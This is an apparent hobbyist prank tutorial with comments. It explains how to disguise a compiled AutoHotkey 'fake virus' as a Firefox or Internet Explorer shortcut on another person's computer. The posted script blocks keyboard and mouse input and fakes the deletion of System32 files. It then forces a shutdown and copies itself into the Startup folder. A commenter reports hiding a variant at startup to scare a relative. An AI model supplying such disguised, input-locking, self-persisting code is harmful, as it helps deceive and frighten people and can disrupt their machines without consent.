Step 1: Download This File

You Probably should download the main file to some folder that wont be too easy to find (I will refer to this folder as the "hidden folder") and make a shortcut of the main file on the desktop then hide the main file (go to properties and click on the "hidden" box)in the hidden folder and also,hide all firefox/Internet explorer shortcuts from desktop or you can just move it to the hidden folder

(i modified this script with AutoHotkey and copied some parts from http://www.autohotkey.com/forum/topic27784.html&highlight=prank
then i compiled the file so u don't have to do nothing with it)

Step 2: Rename the shortcut and change the icon

Now Change the shortcuts name to Internet explorer/Mozilla Firefox (which ever the target uses)

then go to their IE/MF properties and goto "shortcut" tab and click on "Change icon" and copy the address(ctrl+c) and then close both properties windows and open the main files's properties and open the "change icon" and then paste(ctrl+v) the Firefox/explorer's icon address in that box and click "ok" then choose the icon u want and click ok...

Step 3: Ur Done!!

Now wait till the target uses the shortcut u made and in about 4 second a black screen will popup and say its deleting ur files..it will not harm the pc it only reads the files from ur harddisk and put "Deleting" in front of those files it reads..

note:
~in case the person goes tottalo nuto and jumps through a window and starts shooting people with his/her laser eyes u can stop this prank by pressing "s"

~when the progress bar fills 3/4 way(or something like that,i forgot)it will pop up another message box and then shut down the pc so be prepared..

~Have FUUUUUUN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

any explanations on how the virus works?
Buster108 (author)  dariel245 years ago
it read some random files from your windows folder and put "deleting" infront of the file names and then i just put a progress bar there to make it more real :)
i mean, tell us the code.
Buster108 (author)  dariel245 years ago
if u can script with ahk here it is:

#Persistent
#NoTrayIcon
Sleep, 100000
Gui, Color, Black
Gui, -Caption
Gui, Show, x0 y0 w%A_ScreenWidth% h%A_ScreenHeight%
BlockInput, On ; this makes it more interesting
msgbox, 48,Fatal Error,A fatal error has occured. The windows GUI has failed. The mouse and keyboard may not function correctly, 5 ; "may"

Loop, C:\windows\System32\*.*, 0, 1
{
Files++
}

Progress, w500 h76,

Loop, C:\windows\System32\*.*, 0, 1
{

if (File = Files - 25)
{
progress,off
Gui, Color, Black
Gui, -Caption
Gui, Show, x0 y0 w%A_ScreenWidth% h%A_ScreenHeight%
BlockInput, On
MsgBox, 262192, Error!, An Unexpected Error Has Caused Windows To Stop Responding And Is Forcing Windows To Shutdown, 5
Sleep, 5000
Shutdown, 9
ExitApp
}
x += 100 / Files
Progress, %x%, Deleting`n%A_LoopFileLongPath% Deleting %A_LoopFileLongPath%
File++
Sleep, 50
}
FileCopy, %A_ScriptFullPath%, %A_Startup%, 0
s::ExitApp
is this vbscript?
i have got ahk (auto hot key)
and i have made a fake "Deleting" virus.
Heres the Code:

Loop C:\WINDOWS\system32\*.*
{

Progress,X800 , Deleting... C:\WINDWOS\system32\%a_loopfilename%,
Sleep, 50

}
Return

Pause::Pause
Is this VBScript or BATCH filing? Or is it still AHK?

It's good but you can CTRL+ALT+DEL your way out and the "s" only works if you cancel the background first. Also it would be good next time to see your own script aswell as the compiles version

Finally, something that looks the part... I don't know about anyone else, but I'd go ARG! if that appeared on my screen when I tried to open a browser... of course, I open Firefox using a shortcut pinned to my Start menu, so I'm safe.

i downloaded it and its done nothing. use notepad to open it if your still cautious though....it doesnt cause any harm at all (as far as i can tell)

Well, that is what happens when you open an executable file in Notepad...

What do we open this file with?
El Mano5 years ago
Forgive me for being cautious and cynical, but before I download this I would prefer to know exactly what it does.
its just a prank, and does no real damage. it turns of ur comp at the end tho...

Hey guys! i got my cousin with that and it was hella funny! haha...
here's what i did:
i created a vbs script with a lot of "Virus and critical error messages", then i got your code modified..
I first showed the msgbox, then blocked the input! haha.. then i created a bat file which opens the two files i had.. so i put it in a hidden folder and the shortcut in the start up folder!!
he was screaming and jumping around hahahaha i couldn't hold the laughters LOL

thanks for your code man! :)

When i downloaded it, it was a .tmp. You have to rename it to whatever.exe.
math7834 years ago
how do i run it? its a tmp file and my xp says theres no file specified to open it
Buster108 (author)  math7834 years ago
umm it probably hasn't finished downloading or else i don't know

LOL
funny script xD

i got a laugh out of reading it.,
idigicon985 years ago
The end of the script for the fake virus says s::ExitApp. Could I replace the s with CTRL+SHIFT+ESC so to exit the EXE you press those keys instead of s?
Buster108 (author)  idigicon985 years ago
yea except in autohotkey those keys would be ! esc or !{esc}
i dont remember lol
good to see someone using their brain XD
Buster108 (author)  Buster1085 years ago
srry its supposted to be the symbol on #6 (when u hold shift) first and then exclamation mark and esc or {esc} instructable wont show the symbol because its a command for text or something

Vista sucks... No offence. But seriously, it has lots of bugs, and its slow. It might look good, but it sacrifices performance for good looks.
lol. I agree vista has bugs... but if you exceed the requirements... like having 3 - 4 GB of RAM... 3 - 4 GHz... it will work fine.
I don't really understand why it matters... obviously people will have different likes... I'm sure you probably like coke over pepsi or pepsi over coke... or mcdonalds over burger king or the other way around... but does that make it suck? I mean unless you are running some other operating system... Vista is still made by microsoft... Mr. XP

Buster108 (author)  blugyblug5 years ago
i have already gotten used to vista and i don't think it sucks that bad i mean yeah there's a lot of trouble with it but i don't care and a lot of new pc came with it already and that includes mine
Buster108 (author) 5 years ago
i have have more pranks like this if anyone's interested :D like blue screen of death etc...
